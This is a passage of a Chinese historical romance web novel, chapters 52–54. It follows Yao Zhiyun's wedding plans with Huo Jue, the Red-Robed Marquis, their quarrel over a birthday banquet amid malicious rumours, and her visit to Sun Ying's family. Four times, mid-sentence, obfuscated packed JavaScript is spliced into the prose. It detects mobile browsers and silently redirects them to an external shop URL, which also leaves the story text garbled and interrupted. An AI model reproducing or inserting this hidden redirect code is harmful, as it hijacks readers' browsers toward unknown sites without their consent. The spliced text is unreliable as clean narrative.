“只是舅父的规矩甚是严格，若是入院，怕是少不了一番考较，也是要他真有本事才行，不然就算是有我的面子，怕也是不行的。” 姚知韫自然是求之不得，“那我替清言，谢谢孙姐姐。” 两人便与清慈院的孩子们玩乐起来，起初孙颖还有些放不开，只是看着姚知韫玩得不亦乐乎，便也加入她们。 挽起袖子，跟着几个孩子踢起了毽子，丢起了沙包，后来也不知道谁提议，一群孩子被围起来，唱起了歌，跳起舞。 姚知韫坐在廊下，看着被孩子们簇拥的孙颖，嘴角的笑就没断过。 这大约是孙颖有生以来，过得最畅快的一日了。 不用端着贵女的架子，不用记着那些规矩，好像也不用繁琐地记着嫁人后的那些琐事，只在意眼前的快乐就好，孙颖甚至觉得这一生有这样一日，是如此的知足。 孙颖笑出了声，笑着，笑着眼眶便有些发涩，她眨了眨眼睛，把湿润的眼眶眨干了，继续笑着。 就在这时，还是方才带她上山的小僧尼探头进来，朝着姚知韫双手合十，“女施主，赤衣侯在寺中，让小僧来问一句，姑娘可要与他一道下山。” 姚知韫微微一怔，霍抉也在永安寺？他来做什么？她出门时分明告知过他，他也没说什么，该是有什么事情临时决定来的吧！ 她抬头望了望天， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299848|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暮色四合，快乐的时间总是过得很快。她“烦请小师傅转告侯爷：我这便来。” 笑声远去了，转身离去。 孙颖在一旁听着，眼底浮起了一丝笑意，带着几分促狭与了然地看着姚知韫。 姚知韫却在她的眼底看到了一丝落寞，走过去揽住她的肩膀，“我每月初一都回来，若以后你有时间，一道来便是。” 孙颖的眼睛瞬间亮了起来，“真的。” “自然。” 两人与众人道了别，又在孩子们不舍的目光下出了清慈院。 沿着来时的小径往回走，梅林依旧，只是日暮时分，光线比来时柔和许多，梅花的香气似乎更浓了些，一缕一缕地，缠着人的衣袂不肯散去。 转过一个转角，便看到了霍抉的身影。 他就站在距离大门不远处，玄色的斗篷被风吹得微微扬起，他没有四处张望，只是静静地站着，目光落在来路的方向，也不知道站了多久。 见到姚知韫的身影出现，他的眼底便漾开了笑容，就连紧绷的肩膀都不自觉地松了松。 孙颖走在姚知韫的身侧，远远望着那道身影，便停住了脚步。于她而言，霍抉是外男，即便是有姚知韫在侧，也是不太方便近前的。于是她压低了声音：“姚妹妹，我就不打扰你们，我的马车在后头，自己回去便是。” 姚知韫回头看她。 孙颖摆摆手，不容她说什么，已转身朝着另一个方向走去，走了几步，又回过头，冲她挥挥手，那笑容，比来时更明亮了些。 姚知韫走到近前，霍抉没有说话，只是伸出手，姚知韫也下意识地伸出自己的手，自然得仿佛本就该这么做，直到被那温热的大手包裹，她才反应过来。脸腾地一下便红了，像极了天边的火烧云。 再看霍抉只是低头看了一眼两人牵着的手，嘴角动了动，什么都没说，便牵着她下了山。 马车停在山门外的地方，车夫远远见她们来了，已掀开车帘等候着，车厢里的暖炉燃着，热气扑面而来，小几上依旧备着点心和热茶，与她来时一模一样。 霍抉扶着她收了车，却没有立刻跟上，站在车外低声吩咐了车夫几句，才跨上车来，在她对面坐下。 马车辘辘地动了起来。 车厢里静静的，只有车轮碾过山道的声音，和暖炉里偶尔传来的炭火轻响。 姚知韫垂着眼，看着小几上那盏冒着热气的茶，茶汤澄澈，几片茶叶在水中舒展开来，忐忑不安，她的心仿佛也跟着那些茶叶，一下一下地跳着，不知道该往哪里落。 半晌，她才端起那盏茶，轻轻递给霍抉，轻声开口，声音低低的，像是被这方寸间的静谧压着，不敢放得太高，“今日——你怎么会在永安寺？” 霍抉伸手接过，指尖不经意地触到她的，又很快分开，微凉，他缓缓抬眸，迎上她的目光，“了缘大师说，腊月初九是个好日子。” 说着，他手中拿起旁边的钳子翻动着炉火，想让它烧得再旺一些，他眼睑微垂，只是眼底的光被炉火的光照得更亮了。 姚知韫愣了一下，旋即她反应过来，原来他今日来永安寺，是为这个来的。 52. 争执 她垂下头，只觉得一股热意从脖颈处漫上来，烧得她耳根发烫，脸上的那点酡红，藏也藏不住。 和眼前这个男人讨论婚期，她两辈子加起来，也没这样的经历，还真是不习惯。 她心里乱糟糟的，想道：“真的就要和这个男人绑在一起了吗？虽然有着三年的约定，可终究是要做真正的夫妻的。” 腊月初九。 腊月初九……她才忽然反应过来，今日已是冬月初六了，满打满算也就一个月的时间，她的心跳漏了一拍。 “这，会不会太赶了些？” 霍抉望着她那张被热气蒸得微微泛红的脸，眉梢悄悄挑了起来，从里到外地透着欢喜。 干嘛？他端着茶盏，准备了七年，就为了这一刻，他还嫌弃太慢了，这已经是他选得最近的日子了。 “嫁妆我让常嬷嬷已经备着了，”他语气平平，可眼底的笑意却藏不住，“嫁衣我让云锦阁绣着，你都不用操心，唯一不便的是侯府还未修缮完毕，婚后我们要先住在姚府一段时间。” 闻言，姚知韫抬眼瞪他，却正好撞进那双含笑的眼睛里。 她慌乱地移开目光，有些生气地把脸转向车窗外，只留给他一只红透了的耳朵。 窗外暮色渐浓，山路两旁的梅影飞快地向后退。 车厢里又静悄悄的，只有她那颗不听话的心跳得飞快，怎么也平静不了。 回到姚府后，姚知韫将暖棚里的新鲜蔬菜摘了一篮子，让芙蓉送到了孙府。她就进入了一种超常忙碌的状态。 归云楼要导入她制定的新记账方式，又正赶上岁末盘点，账册摞起来比人还高。她与沈知节一处一处地核，一处一处地议。虽然要有新的模式，可也不能一竿子全推翻，还是要循序渐进。 好在沈知节是个能干的，许多事她只需要说了大概，她便能心领神会，三五日便能拿出个可落地的章程来，再试行几日，有那不妥帖的，便细细地改，这般下来，归云楼的事虽繁，倒也不算棘手。 真正让她手忙脚乱的却是这备嫁之事。 霍抉虽是有常嬷嬷的帮忙，可这很多事情还是会落到自己头上来，她也才知道这里头有多少千头万绪的琐碎。 就说这嫁妆单子，常嬷嬷这单子列的确是清清楚楚，可单子是单子，东西是东西，还要对应霍抉送来的聘礼单，不能落了下乘，却也不能越了他去。 她突然觉得霍抉的那句“你不用操心”的话，水分有多大。 倒也不是怨他，她知道他是好意，可备嫁这事，终究是姚府之事，而父母皆亡的她，只能自己担着。 就这样忙碌的过了十日，姚知韫忙得不亦乐乎，却不知道如今京城的外面，谣言四起。 最先这谣言到底是从哪里传出来的，已经说不清了，只知道一夜之间，那些闲话便像长了脚似的，从东城到西城，从茶馆到绣楼，从市井一路攀进了深宅大院。 “听说了吗？赤衣侯急吼吼地赶在腊月里成婚。” “可不是嘛，礼部的人忙得脚不沾地，寻常侯爵成婚，哪有过这样赶的？” “赶？哼！怕不是有什么不得不赶的理由罢了——” “这赤衣侯呀！一回京便住进了姚府，孤男寡女的——” “听说，是这姚姑娘有了身孕，怕时间久了，瞒不住，这才着急忙慌地成婚。” 这些话，成了京城茶余饭后的谈资。传到了不同的人耳朵中。 有人幸灾乐祸。 有人暗暗称快。 也有人摇头叹息，说一句“世风日下”，便又津津有味地听起下一段来。 只有那个被编排的人，此刻正坐在归云楼的账房里，对着沈知节新拟的经营章程，研究着，暖棚里新摘的清瓜就搁在手边，脆生生的，她方才还咬了一口，果然还是要新鲜的好吃。 孙颖知道的时候，正坐在母亲屋里，陪着说话。 听到这个消息，她的脸一点点地沉下去，攥紧手里的帕子，攥得直接都发了白，心里头更是气到不行，韫儿才不是那样的女子。 王夫人抬眼看着自家的女儿，她怕是极为喜欢那位姚家姑娘的，也不知道到底是什么地方传出来的，不过能想出这么恶毒的招数陷害一个姑娘家，手段可谓阴毒。 这姚姑娘究竟是得罪了谁？或者是霍抉得罪了谁？ “颖儿——，”王夫人拍了拍孙颖的手，正欲说些什么，却被孙颖蓦然打断。 “母亲，姚妹妹不是那样的人。”孙颖抬起头，迎着母亲的目光，极其认真地说道。 王夫人微微一怔，她没想到颖儿竟这样急急地替那位姚姑娘辩白。 旋即笑了笑，没有接话，倒是想着那日送来的新鲜蔬菜，能在冬日种出蔬菜，不知要花费多少心思，只是颖儿看着聪明，实则单纯得很，那位姚姑娘到底是什么心性？ 王夫人垂下眼帘，轻轻摩挲着女儿的手背，过了片刻。 “颖儿，过几日便的你的诞辰了，不妨请姚姑娘到府里坐坐，”她倒是想见见这个姚姑娘了，若她真如颖儿说得那么好，她不介意帮她一把。 孙颖愣了愣，不明白母亲怎么突然提起这个，只是看着母亲唇边的笑意温，与平日并无异样。 “到时候，把几位小姐都请来，好好的给颖儿过个生辰。”王夫人不着痕迹地叹了口气，这也是颖儿做女儿的最后一个生辰了，明年便要出嫁了，出嫁后，即便是舅父家也是不能常常回家的。 姚知韫收到帖子，嘴角的笑意便怎么也压不下去。 她捏着那张洒金的帖子，在房内走来走去，盘算着要送什么礼物。 送什么好呢？ 孙颖是昌平伯嫡女，从小到大什么没见过？金银珠翠，送到她手里只怕连匣子都懒得打开；绫罗绸缎，她库房里堆的那些，怕是比寻常铺子里摆得还要齐整。 送蔬菜？ 这些东西到了孙府，她怕是不能独享，这是给她的生辰礼，又不是给昌平伯府加菜的。 姚知韫在屋里踱着步。 从书案走到窗前，再从窗前折回来，脚步越来越快，裙摆随着她的动作轻轻晃动，可她浑然不觉，只是拧着眉，咬着唇，将那张洒金的帖子捏了又捏，还是没想出来。 她把自己能想到的所有的东西在脑子里过了一遍，又都一一划掉，太俗、太艳、太寻常，越想越没头绪，最后她终于泄了气，身子一歪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304207|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒在软椅上，将软软的靠垫抱在胸前，闷闷地叹了口气。 外头却传来脚步声，沉稳有力，是她已经熟悉了的。 只是脚步声却在门外停住了。 姚知韫坐直身子，望向那扇门，她知道门外是谁，也知道他在犹豫什么，这里是她的闺房，他进来自然是不合规矩的，可他既然来了，总不会只是为了在门口站一站。 她等了等，那脚步声仍是没有动。 “进来吧！”她淡淡地开口。 门外静了一瞬，门被推开了。 霍抉跨进门来，他的目光便落在她的身上，她穿着一件毫无装饰的月白色衣裙，腰间松松系着同色系的带子，在腰侧打了一个蝴蝶结，头发自由地散着，也没有任何的装饰，就那么自自然然地垂在肩头，是居家才会有的装束，是只有最亲近的人才能看见的模样。 霍抉的目光在她身上顿了顿，随即像是被烫了一下似的，飞快地移开，落在别处，喉结微微滚动了一下，那张素来冷峻的脸上，竟浮起一丝不易察觉的红。 姚知韫顺着他的目光低头一看，猛然反应过来，她穿的是睡衣。 脸颊瞬间泛红，忙扯过外衣胡乱地披在身上，掩饰般地问道，“找我——有事？”可语气却不自觉地带上了几分骄矜。 “生辰宴，你不能去。”霍抉垂下眼，声音放得很轻。 姚知韫愣住，她仰起脸，以为自己听错了，“为什么？” 霍抉没有回答，也不知如何回答，只是站在那里，目光沉沉地落在她的脸上。 姚知韫等了等，等来的只是一味地沉默，那沉默像一堵墙，横在两人之间，她意识到哪里有些不对劲，他目光躲闪，下颌紧绷，站在那里，周身像压着什么极重的东西。 姚知韫心底的困惑，随着沉默的不断拉长，慢慢地变成了不安。 他从来都是护着她的，他出现在每一个她需要的时候，强势，却从不让她觉得被束缚。这样硬生生地限制她，还是第一次。 她常常舒出一口气，好似将胸中浊气吐出来，试探性地问，连声音都不自觉地放轻了些，“外面，是不是发生了什么事情？” 霍抉脊背微不可察地僵了一瞬，“没有。”他回答得太快，快到那两个字像石头一样砸出来，语气里带着一丝他自己都没察觉的严厉。 话一出口，他便后悔了。 他看见她眼底的光，一点点地暗下去。 他知道她在想什么。她太聪明了，只要一丝蛛丝马迹，她就能猜出个大概。 外面的那些谣言还没处理干净，她现在出了门便会被人指指点点，遭人嘲笑，她不该受这个，他也不会让她受到一丝一毫的伤害。 他垂下眼帘，把眼底翻涌的情绪一点一点地压回去，把心底那团烧得他五脏六腑都疼的狠厉，也一并压回去。 再给他一些时日，只要几日就好，他一定可以将那些污言秽语连同传播之人，一同处理干净，到那时，她想去哪里，他都会陪着她。 再开口时，语气不自觉地软了下来，甚至带上了一丝小心翼翼的温柔，“你要备嫁，不能出去。” 他望着她，目光甚至带着恳求一般的柔软。 53. 伤到没有? 可这话听在姚知韫的耳朵里，却只有敷衍，敷衍的甚至不愿意给她一个说得过去的理由，心底的不安不断地凝聚，终于烧成了一团火。 她倏然站起身，仰着头看他，可还是觉得输了气势，她抿了抿唇，退后一步踩在那张软椅上，软椅微微陷下去，她晃了晃稳住身形，终于能与他平视了。 她盯着那张没什么表情的脸，冷着声音道，“霍抉，这里是姚府，不是你赤衣侯府。” 霍抉的脸色一僵，那一瞬间，他眼底有什么东西碎了，很轻很细，像冰面上裂开一道纹，无声无息，却一直裂到最深处。 “韫儿——，”他的声音涩得厉害，却不知道后面要说些什么？ 姚知韫看着他，看着他那双忽然黯淡下去的眼睛，心脏好似被一只大手紧紧地攥住，有些疼，有些闷，她还没嫁给他，就没了出府的自由了吗？ 她用力压下心底那胡乱窜动的情绪，眼眶泛着红，却又倔强地将湿意咽回去，冷冷地开口，“侯爷，”她甚至改了称呼。“想去那里是我的自由，即便您是侯爷，也不能限制我。” 霍抉张了张嘴，想说什么，可她却不给他机会。 姚知韫嘴角扯出一个讽刺的弧度，“我收到帖子还不到一个时辰，侯爷便来了，可真是太及时了，这次，又是谁给您通风报信？常嬷嬷？还是芙蓉？抑或者风叔？” 说完，她笑了一下，可那笑意却凉凉的，像冬夜里结了冰的霜花，看着好看，却一碰就碎，可那笑容的背后却是看不见的无奈。 她知道的，一直都知道，一个孤女，守着偌大的家业，被恶狼环伺，若不是霍抉，她不一定能活到现在，她对他自然是心存感激的，甚至对他多了一份与别人不同的感觉和依赖，若是他就那么一直若有若无，她也只会将他当作一个特别的朋友，以后若真的走投无路，她或许还会向他求救。 可他回来了，就那么强势的姿态闯入她的生活，以一种坚定的姿态站在她的身后，护着她，让人不敢觊觎她、算计她，而在这相处的过程中，她对他的感觉，也慢慢地发生了变化，她不敢细想，也不愿细想，却放任它悄悄生长，像暖棚里那些她精心伺候的幼苗，一日一日，长成了叫不上名字的东西。 她开始依赖他，期待他，甚至记不清楚是什么时候开始的。 所以，他提出早些成婚，她并没有犹豫太久。 可她忘了一个事实，从始至终他们的关系都是不对等的。 她看似拥有的一切，都建立在他的庇护之上，若是有一天他厌弃了，或者得到了他想要的东西，收回所有的一切，她又该如何自处？ 甚至那三年之约如今想起来也是那样的可笑，她以为自己聪明，给自己留了退路，可那不过是他愿意配合她罢了，三年之后，他若的不让她离开，她当真走得了吗？ 姚知韫看向霍抉的目光从疑惑到不安，最后一点点地变得陌生，她第一次如此清晰地意识到，除了他说给她听的那些，她对霍抉竟然一无所知，可他于她的掌控却是绝对的，他一点点蚕食她的生活，让她习惯他的存在，生出期待与信任，甚至——喜欢。 可也许，那只是他的手段。 想到这里，姚知韫仿佛瞬间卸去了全部的力气，她站在软椅上，明明已经站得与他一样高了，却依然觉得自己矮到了尘埃里。 她用极轻的声音问他，“所以，侯爷想从我这里得到什么？” “韫儿——，”霍抉眼底的慌乱一闪而过，试探地伸出手，急切地想要将那个疏离的人儿拽回来。 姚知韫看见他伸过来的手，下意识地后退了一步，又退了一步。 可她却忘了自己站在软椅上，第三步还未迈出去，脚后跟便撞上椅背，她整个人失去重心，人向后一仰，双手在空中乱抓了一把，什么都没抓住。 “啊——！” 她的身子直直地向后倒去，那一瞬间，姚知韫的脑子一片空白，只来得及看见窗外的天光闪过一道刺目的白。 她闭上眼睛，做好了迎接疼痛的准备，然后，她跌进了一个温热的怀抱。 霍抉以一种诡异的速度绕到她的身后，单膝跪在地上，一手绕过揽着她的腰，一手环着她的肩，将她牢牢地护在怀中，用自己的身体护住了她下坠的力道。 他的呼吸喷在她的颈侧，急促又滚烫。 方才那一下，扑过得太急，膝盖先是撞上了椅沿，后来又跪在地上，疼得他脸色都白了一瞬，可他顾不上这些，只是死死地盯着怀中的人，目光从上到下，从脸到手，飞快地扫了一遍。 “伤着没有？”他的声音沙哑得厉害，还带着丝丝的颤抖。 姚知韫还有些惊魂未定，只是机械性地摇着头。 霍抉盯着她片刻，好似确认了她没有撒谎，紧锁的眉头才稍稍松了松，可揽着她腰的手，却没有松开，反而收得更紧了些。 他还保持同样的姿势，将她牢牢地圈在怀里，像是怕她再躲开，他将头埋进她的披散的发间，过了好一会儿才开口，声音闷闷的，还是有些沙哑，也比方才低沉。 “韫儿——，”他一遍遍地唤她的名字。 “你可以跑，可以躲，可以生我的气，甚至打我，骂我，怨我——都可以。” 他微微顿了顿，喉结上下滚动一下，“但——别不理我。”他又将头埋得更深一些，“我受不住，”后面的几个字他说得极轻，几乎听不见，却一字一字都砸进她的心里。 姚知韫垂下头，望着他紧箍在她腰间的手，微微有些发抖。 那个在战场上杀伐决断，任何人面前沉稳如山的男人，此刻抱着她的手——在发抖。 她心里那些翻涌的东西，忽然之间没有支点，可她也没办法像什么都没发生过似的，一切如旧，她眼眶有些发酸，飞快地眨了眨眼睛，然后别过脸，不去在意埋在颈窝的霍抉。 “你——先放开我。”她声音低低的，带着一丝她自己都没察觉的软。 霍抉微微抬头，长发遮住了她别过去的侧脸，只看得见那只红透了的耳朵。 他没有动，手却又紧了几分，“不放。” 姚知韫愣了一下，霍抉竟然也会有这么无赖的时候？她无奈地转过头瞪他，却正好撞进那双饱经沧桑的眼睛里，那里有慌乱、后怕、心疼都融在一起，只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308611|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种笨拙的歉意。 她忽然不知道该说什么了，只能又将脸别过去，由着他那么抱着。 窗外的风穿过廊下，带来一丝若有若无的梅香，屋里静静的，谁也没有再提起去参加生辰宴的事情。 直到孙颖的生辰宴，姚知韫与霍抉再没见过面。 不知道是有意还是无意，他回来时她已入睡，她醒着时他从未归，明明同住一座府邸，却默契地总是碰不着，整个府邸飘动着一股沉郁的气息，下人们做事也都悄悄地，不敢发出什么声音。 姚知韫照常去归云楼，照常核账、议事、与沈知节推敲章程，面上看不出任何的异样，可身边的人还是感受到了不寻常。 今日便是孙颖的生辰，姚知韫一早便起了，将准备好的礼物又检查了一遍，才唤人备车，交代了常嬷嬷的几件事后，便带着芙蓉出了门。 府门外，马车已经候着了。 还是那辆青帷马车，还是那个沉默的车夫。马夫见她出来，利落地摆好脚蹬，垂手立在一旁，恭敬地等她上车——仿佛霍抉那日说过的话，从未存在过。 姚知韫抬头看了看天，冬日的阳光淡淡的，落在车顶的帐幔上，没什么温度。 她犹豫了片刻才上了车。 马车平稳地动起来，车轮碾过路面，发出规律的声响，车厢里还是那个暖炉，还是那壶温热的茶和爱吃的点心，一切与她每次出门时一模一样。 可她想不明白。 她不是无理取闹之人，霍抉为她做了那么多，她也不能全盘否决他的好，她——只是不敢确定。 她看多了生离死别，那些被子女遗弃的老人，被父母丢掉的孩子，若不是她死得早，她甚至不知道下一个被遗弃的会不会是她？重活一世，她以为不一样，可父亲死后，母亲还不是丢下她追随父亲而去？ 她不恨，也不怨，都是人之常情，没有谁是必然要对谁好的，爸妈如此，父母如此，霍抉当然也该是如此。 姚知韫低着头，目光却没有焦距，只有小几上那盏冒着热气的茶，茶汤澄澈，茶叶浮沉，却怎么也落不到底。 马车一路向东，穿过几条热闹的街市，又拐了几条安静的巷子，从姚府到团圆巷，走了大半个时辰，待到车夫勒住缰绳，在外头轻声道，“姑娘，到了。” 姚知韫才恍然回神，脑子里却仍旧残留着一个问题，这几日，霍抉去了哪里？他为何没来找她？ 她坐在马车里没有动，将烦乱的心思整理后暂时压下，才深吸一口气掀开车帘一角，搭着芙蓉的手下了车。 抬头便望见昌平伯府门前的那对石狮子，蹲踞在两侧，经年的风雨在上面留下些许斑驳，却不减半分威仪。 此刻巳时末，门前已有几辆马车停着，门房上的小厮眼尖，见那挂着大大“霍”字的马车停稳，早有小跑着进去通传。 姚知韫立在门前，细细打量了一眼，府门是标准的三间五架格局，朱漆大门，门环是兽面摆锡环，楣上悬着一方匾额，上书“昌平伯府”四个大字，笔力遒劲，是当年先帝御笔亲赐，虽是伯府门楣，用的却是公侯的规制，可见同光帝对孙鹤年的倚重。 54. 生辰宴 姚知韫正想着，门内已迎出一行人来。 当先的是个四十来岁的管事嬷嬷，穿着青灰缎面的袄子，头上插着素银簪子，收拾得干净利落，嬷嬷满脸堆笑，上前福了一福，“老奴姓福，给姚姑娘见礼，姑娘不介意可以喊我一声福嬷嬷。”态度不卑不亢。 姚知韫微微颔首，回了礼，便随着福嬷嬷往里走。 穿过府门，迎面一道影壁，雕着松鹿同春的图样，寓意吉祥，却不显奢华，绕过影壁，眼前豁然开朗，方方正正的前院，青砖墁地，扫得一尘不染，院中左右各种着一棵树，只是冬日里光秃秃的，姚知韫一时间也看不出是什么树，枝丫伸向天空，像两把撑开的墨色大伞。 府中的正厅，五间阔的气派，飞檐斗拱，檐下悬着“世泽堂”的匾额，此刻厅门紧闭，想来是男人们待客的地方，女眷们今日必不从此过。 果然，管事嬷嬷引着她往东边的垂花门走去。 垂花门是内院与外院的分界。门楣上的木雕繁复精致，垂着两朵倒悬的莲花，虽经年累月，漆色依旧鲜亮。跨过这道门，便是内宅了——与外院的方正不同，内院显得幽深许多。 一条青石甬道蜿蜒向前，两旁种着些花木，冬日落尽了叶，看不出是什么品种。甬道尽头是一方小小的池塘，水已结了薄冰，隐约能看见底下几尾锦鲤缓缓游动。池塘边立着一座假山，玲珑剔透，看得出是花了心思的。 绕过池塘，眼前便是一排屋舍，皆是三间阔的小楼，错落有致地分布着。管事妈妈指着最东边那座道：“那是我们姑娘的院子，叫‘海棠苑’——姑娘最爱的花儿。今日宴席摆在正中的‘荣萱堂’，那儿宽敞，能摆下四五桌。” 姚知韫顺着她手指的方向望去。那海棠苑掩在一丛翠竹后面，隐约能看见一角飞檐，和廊下挂着的几串红灯笼，给这素淡的冬日添了几分喜庆。 正走着，便听见前头传来一阵笑声，清脆爽朗，是孙颖的声音。 “姚妹妹——，” 姚知韫抬眼望去，只见孙颖已从海棠苑的方向迎了出来，今日她穿了石榴红的袄裙，衬得整个人明艳照人，像一团跳动的火，给这灰扑扑的冬日添上了一抹颜色。 她快步走到近前，一把拉住姚知韫的手，上下打量了一番，眼底的欢喜几乎要溢出来了。 前几日她还在担心，怕她被谣言所累，谁承想这才几日的光景，风向就全变了，不仅造谣的人被揪了出来，挨了板子，吃了牢饭不说。 竟还扯出了于婉茵与二皇子私通之事，如今满京城茶余饭后的谈资，早就换了主角。该头疼的，是于家和二皇子那边了。 “我还以为你因为前几日的事情，今日来不了了呢，”孙颖笑着，拉着她的手往里走，声音压得低低的，凑到她耳边，“这赤衣侯手腕还真是了得，短短几日便将事情查个水落石出。” 姚知韫脚步一顿，眼底浮起疑惑，“什么事？” 孙颖愣了愣，旋即便有些后悔，姚知韫不知，怕是霍抉特意压了下来，不想扰了她的清静，既然事情已经解决了，她又何必多这个嘴，只是看到姚知韫，她高兴得有些忘了形，一时没关注自己。 “也没什么，”她忙笑着岔开，“就是前几日传了些闲话，如今已经过去了，倒是于婉茵如今怕是烦得睡不着觉呢。” 见姚知韫仍是满脸的疑惑，孙颖到底没忍住，“你还不知道吧！那于婉茵与二皇子在梧桐苑私会，被崔令仪撞了个正着，闹得不可开交，如今怕是满京城都传遍了，连上面那位也惊动了。” 她尽量压着嗓子，可那幸灾乐祸的劲儿，从眼角眉梢一个劲儿往外冒。 话音刚落，前头领路的管事嬷嬷轻咳了一声。 孙颖立刻噤声，吐了吐舌头，可那看向姚知韫的目光里，却藏着一股压不住的笑意，亮晶晶的，像偷吃了糖的孩子。 姚知韫没有说话，只是任由她拉着往里走。 可心里，却翻涌起来，这就是他那日不让她出门的原因吗？ 那些她不知道的谣言，那些他独自扛下的东西，那些即便承受她的质问，也沉默着不肯说的话—— 如今，事情解决了。 所以，哪些都不重要了？ 在他眼里，她大概是个需要保护人。 于是，他给她修了一座豪华的房子，能遮风挡雨，四季如春，她就像种在温室里的花，只要安安静静地开在他看得见的地方，等着他回头看她一眼，她便该欢欣鼓舞。 外面的那些风雨，他独自一个人承担，一个人解决，她什么都不知道，什么都不用做，最后还要在别人的眼里得一句“身在福中不知福”。 他做得那样周全，那样的妥帖，挑不出任何错处，可她心里，偏偏就是堵着什么。 她甚至不知道是该高兴，还是该生气。 孙颖那些压低了声音的絮叨，仿佛离她越来越远，她的脑子里反反复复想的，却只有一个人。 “韫儿——，”孙颖一声声地呼唤，终于拉回了姚知韫的思绪，她回过神，却没发现孙颖不知何时已经改了称呼，与霍抉一样唤她韫儿。 “你怎么了？”孙颖凑近看她，关切地问道。 姚知韫勉强笑了一下，“我没事，只是你这院子——真好看。” 孙颖看着她，知道她不愿多说，便也不再追问，只顺着她的话题，“我母亲的院子更好看，我带你去见过我的母亲。” 她挽起姚知韫的手，不由分说地拉着她往前走去。 主母的院子果然比海棠苑更幽静，院中种着几丛花木，疏疏朗朗却打理得一丝不乱，廊下挂着鸟笼，两只画眉正懒懒地晒着太阳，偶尔啾鸣一声，给这寂静的院子添了几分生气。 正屋的门半敞着，隐隐有淡淡的檀香飘出来。 “母亲——，”孙颖拉着姚知韫的手，一边喊着，一边脚步轻快地往里走，“我把姚妹妹带来了。” 姚知韫在门槛前将衣襟理了理，才迈步进去。 屋内陈设简雅，不似寻常官宦人家的富丽堂皇。一色的花梨木家具，线条简洁，几案上供着一瓶素净的梅花，旁边是一卷半开的书册。北窗下的暖炕上，铺着青灰色的褥子，一个妇人正倚着引枕坐着，手里握着一卷书，见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314658|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们进来，便放下书，含笑望了过来。 王夫人比姚知韫想象中要年轻些，穿着寻常的藕色褙子，头上只簪着一支素净的玉簪，通身上下没有半分珠翠，却自有一种沉静的气度。她生得和孙颖有几分相似，眉眼间却比孙颖多了几分温润，少了几分明艳，像一汪深潭，一眼望不见底。 姚知韫上前两步，端端正正地俯下身去，行了一个晚辈见长辈的礼。 “姚知韫，见过夫人。” 她的声音不高不低，姿态不卑不亢，行礼的幅度恰到好处——既不失恭敬，又不见局促，刚来的那三年，母亲对她的礼仪格外严格，后来又有了常嬷嬷，只要她愿意，她有着一身任何人挑不出错的仪态。 王夫人没有说话，只是静静地打量着她。 那目光并不咄咄逼人，却有一种说不出的分量，像是在掂量什么，从她的眉眼，到她的站姿，到她垂在身侧的手，一一掠过。 姚知韫任由她看着，没有躲闪，也没有不安。 片刻后，王夫人轻轻点了点头，唇边浮起一丝笑意。 “好孩子，快起来。”她的声音温温柔柔的，却带着一种让人安心的力量，“到我跟前来，让我好好看看。” 姚知韫依言上前几步，在炕边站定。 王夫人拉着她的手，让她坐在自己身侧，又仔细端详了一番，这才笑着对孙颖道：“怪不得你日日念叨，果然是个好孩子。” 孙颖在一旁抿着嘴笑，也不接话。 姚知韫从芙蓉手里接过一只青瓷小罐，双手捧到王夫人面前。 “初次拜见夫人，也没什么拿得出手的，”她微微垂着眼，声音轻柔，“这是自己炮制的菊花茶，用的是今年新收的金丝皇菊，晒干后以蜂蜜小火焙过。夫人若不嫌弃，平日泡一盏尝尝。” 王夫人接过那小罐，轻轻揭开盖子，一股清雅的菊香便幽幽地漫了出来。那香气干净清冽，不像外头买的那样浓烈刺鼻，倒像是刚开的菊花，还带着晨露的味道。 她眼底闪过一丝讶异，旋即化作了更深的笑意。 “这倒是难得的。”她将小罐递给身旁的嬷嬷。 姚知韫眼角微抬，不着痕迹地瞥了一眼，原来是方才出门迎她的那位管事嬷嬷，管不得看上去大方得体，原来是王夫人身边的人。 